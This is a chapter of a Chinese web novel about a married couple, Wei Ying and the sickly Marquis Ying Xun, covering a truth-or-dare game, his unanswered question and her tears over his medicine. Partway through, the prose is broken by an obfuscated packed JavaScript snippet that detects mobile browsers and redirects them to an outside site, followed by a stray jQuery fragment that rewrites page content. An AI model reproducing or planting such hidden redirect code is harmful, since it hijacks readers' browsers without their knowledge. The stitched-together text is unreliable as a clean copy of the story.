吃了顿让应珣略微不自在的饭,他每动一处筷子,魏楹就领着人鼓掌夸他,到最后应珣很是不好意思,微微抬眸,“谢谢,也没做什么很伟大的事。”
他抬了抬筷子,“感谢我会用筷子。”
“嚯!”
众人感叹一句,同时拍拍手。
应珣看向魏楹,对方满脸笑意,因为鼓掌,白嫩的掌心甚至有些发粉,应珣在心里感叹,魏楹能找到这么一群志同道合的朋友,也是不容易。
......
几人都是闲不住的性子,在家里装了那么久的贵女公子,如今桌子上也不管什么食不言寝不语的规矩,一群人兴致冲冲的在想玩什么游戏。
见一群人半天不知道玩什么,应珣轻轻出声提议,“不如玩真心话大冒险?”
考虑到有人不知道是什么玩法,应珣偏了偏头,轻声解释。
拿一个东西随机转动,一端指向谁,谁就选择真心话或者是大冒险。
真心话是面对别人提出的问题,必须进行真实的回答。
大冒险就是按照要求做一件事情。
若是不愿意说或者完不成任务,罚酒三杯。
应珣的语气很轻,大概是不想花什么力气,听着语气懒散,颇像之前魏楹养过一段时间的猫。
整日里就懒懒散散的趴在她膝头,捣捣乱。
和如今应珣的样子一摸一样。
她笑了一下,看向那只猫,
“可以啊。”
这是一个在另一个时空,已经玩烂的游戏了。
但是在这里,几个人都没听过,当即就深感兴趣,兴致冲冲准备开始。
拿出来转人的东西,是一个类似于司南的东西,柳二掏出来的。
她拨动了一下表盘。
指向了应珣。
应珣:。
他清了清嗓子,“真心话。”
问话人是他正对面的李奉渊。
李奉渊仔细想一想,他与应珣没什么接触,若不是魏楹忽然嫁了他,李奉渊估计已经忘却京中还有长乐侯这么一号人了。
左思右想半天,才终于得出这个问题,“你得的是什么病?”
看着应珣三两步上不来一口气,时常惨白着一张脸,仿佛下一秒就要魂归西天了。
呸。
李奉渊自己在心中呸掉这么晦气的话,又抬头看向应珣,“你得了什么病?”
这没什么不能说,应珣轻声开口,“娘胎里带下来的体弱之症,也叫不出来名字。”
娘胎里带出来的体弱之症。
魏楹重复了一下这个,瞥向旁边的应珣。
他天生长了一双上扬的眼,碰巧又对上下垂的眉。两弯纤长的睫羽安静垂在眼睑,鼻骨高挺,薄唇紧抿。
五官过于精致,又因为脸色苍白,加上浑身的慵懒的感觉,显得有几分楚楚可怜。
但是确实好看。
魏楹想。
应珣的母亲当时也算京中知名的传奇女子,同上一任长乐侯一起奔赴战场,也立下战功无数。
按理来说,应当不会遗传给应珣先天不足的症状。
李奉渊也是这样想的,他脱口而出问了出来。
得到的却只是对方似笑非笑的一瞥,“这就是另外一个问题了。”
下一轮游戏开始。
等终于转到魏楹的时候,游戏已经接近了尾声。
她选的也是真心话。
不知道是不是错觉,她总觉得在说出这个结果之后,旁边的应珣像是忽然来了精神,坐直了身体。
“阿楹,我想问问你。”
“为什么会嫁给我。”
为什么才冠京城的才女,未来的太子妃。
身边一群知己好友的魏楹,会选择书里那个命不久矣的长乐侯。
若是要帮太子稳固权势,可是皇后是长乐侯的亲姑姑,就算是这么些年里少有来往,长乐侯府都应该是坚定的太子一党。
若是要魏家站队太子,按照最开始的让魏楹坐上太子妃,才是最稳妥的办法。
这个问题,应珣从穿过来那一日,就一直在思考了,始终没有思考明白。
眼下,将这个问题重新抛给魏楹,他想听听魏楹是如何回答的。
魏楹可以感受到旁边的视线,她指尖不自觉地点了几下,在脑子里组织了好几遍语言,但刚说出来几个字仍然磕磕绊绊。
算了。
她想。
魏楹默不作声倒了杯酒,刚准备一饮而尽,杯子就被旁边人夺了。
应珣虽然看着病怏怏的,但是力气还是挺大。
他替魏楹喝了酒,接而在魏楹错愕的视线中笑了一下,“是我问了一个不太好回答的问题。”
“怪我。”
噗通,魏楹心头忽然猛地一跳。
她将应珣的表情翻来覆去的在心中过了好几遍,仍旧觉得应珣是在意的。
可是在意什么呢?
外头的阳光从树叶的缝隙间斑斑驳驳落了一地,他们几个也只有半天的时间出来玩一玩,接下来就是家族无止休的宴会。
马车一路摇摇晃晃回了长乐侯府,魏楹偷偷抬眼看默不作声的应珣。
他出来的时间久了,应该是精力都用尽了,如今看着很是疲倦。
“阿楹。”
对方猝不及防开口,魏楹着急忙慌错开视线,又低低应了一声。
“今日是我问错了话,人人都有自己的苦衷,我是知晓的。”
他不该因为一时好奇,在那样的场合下,将魏楹置于一个难做的高度。
手腕上搭上微凉地指尖,应珣拉过她的手,郑重其事的道歉,“对不起。”
马车到了侯府,前些时日满府修葺的模样见了天光,青墙透着岁月的痕迹,在光下泛着柔和的痕迹。
应珣下了车后又栽到轮椅上,由严康推走了。
他今日替魏楹喝了三杯酒,从身侧过去的时候还微微咳嗽了几下。
素荷看着眼前发呆的人,“小姐?你怎么了?”
她怎么了?
其实应珣问的并不是一个很难回答的问题,她当时可以说是陛下赐婚,难以拒绝。
或者是家族利益,互相站队。
但是她没有说出口,因为不能说谎。
她不太想对着应珣说谎。
她嫁给应珣,只是因为听说了应珣快死了。
她在这个时候嫁过去,只是想着等应珣死后,她又是孑然一身,自由自在的一个人。
又可以躲避李无庭。
仅此而已。
因为一开始对于她来说,快病死的长乐侯,只是一个比较适用的挡箭牌,仅此而已。
“小姐?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242755|181935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院中一时寂静,仅有穿堂风。
素荷看了看忽然变暗的天色,上前将魏楹的披风拢紧,
“小姐快些回房吧,眼看着又变天了。”
“今日小姐让我找到草药经,已经放在书榻上了,小姐可以回去看看。”
魏楹深吸一口气,抬脚进门,“你去看看小厨房有没有做解酒汤,应珣今日喝了酒,一会儿给他送去些。”
“再将大夫请过来,免得应珣一会儿不舒服。”
素荷在一旁点头应下。
魏楹皱了皱眉,觉得还是差了什么,路过绿萼梅树的时候,看见下面的积雪中还立着一个憨态的小雪人。
应珣给它围上的红绸随着风微微飘着。
“腊八还没融化吗?”
腊八是应珣给这个雪人起的名字。
按理来说,这几日开始化雪,天气又相对暖和。
这个小雪人应该比之前小一点。
但是没有。
不但没有,甚至还比之前大了一点。
“哦。”素荷道,“我今日听严康说,这几日侯爷都会来这里补一补。”
“他说这是你亲手堆得,如果化的快了,你可能会难过。”
风带动梅花落了几瓣,魏楹伸手接住。
静了几息,魏楹不知道想到什么,忽然快步向前。
素荷没反应过来,见自家小姐跑远,才匆匆忙忙抬脚跟上,“小姐,你干什么?”
她干什么?
她不知道。
她只知道应珣有些难过,而她想让应珣不难过。
争春阁内,团着一股清苦的药香。
严康将药炉上温了几温的汤药端过来,递与应珣。
对方垂在身侧的指尖略一躲闪,他尽力忽视浓苦的药味儿,平静道,“先放着吧。”
严康将应珣的小心思看得分明,不由分说,“侯爷,我会看着你吃药的。”
眼见应珣散开的头发遮住半张脸,只露出苍白的下巴,严康鼓励他,“逼自己一把,把药喝了,病就好了。”
书上写病榻缠绵一生,最终久病不治的影讯根本不信。
他轻轻点评,“与其逼自己一把,不如放自己一马。”
“严康,我放过自己。”
他说这话时,轻飘飘的。
手指借力推走药碗。
魏楹赶到时,恰巧就听见了这一句薄如蝉翼的,“我放过自己。”
应珣犯懒的窝在轮椅上,看着严康一时没有反应过来,将药碗拿远了些。
闻不到苦涩的药味儿,他才笑了一下。
但魏楹这样的角度,只能看见那苍白的下巴抬了抬,又如枯木一般。
“应珣。”
她上前抓住应珣的手,感受的对方手指的冰凉,胸腔中居然涌上一股难言的感情,这份感情,让她再开口的时候声音有些哽咽。
“不要放过自己,好不好?”
生命如久逢暗室,但是明日尚有春朝。
应珣:?
他不明所以对上魏楹泛红的眼泪,旁边严康终于找到了契机,将药碗重新推回了应珣面前。
一边是将他的手握的很紧的魏楹,一边是漆黑浓苦的药。
片刻后,应珣抬起另外一只手,抹了抹魏楹眼尾,然后端起药碗,一饮而尽。
喝就是了。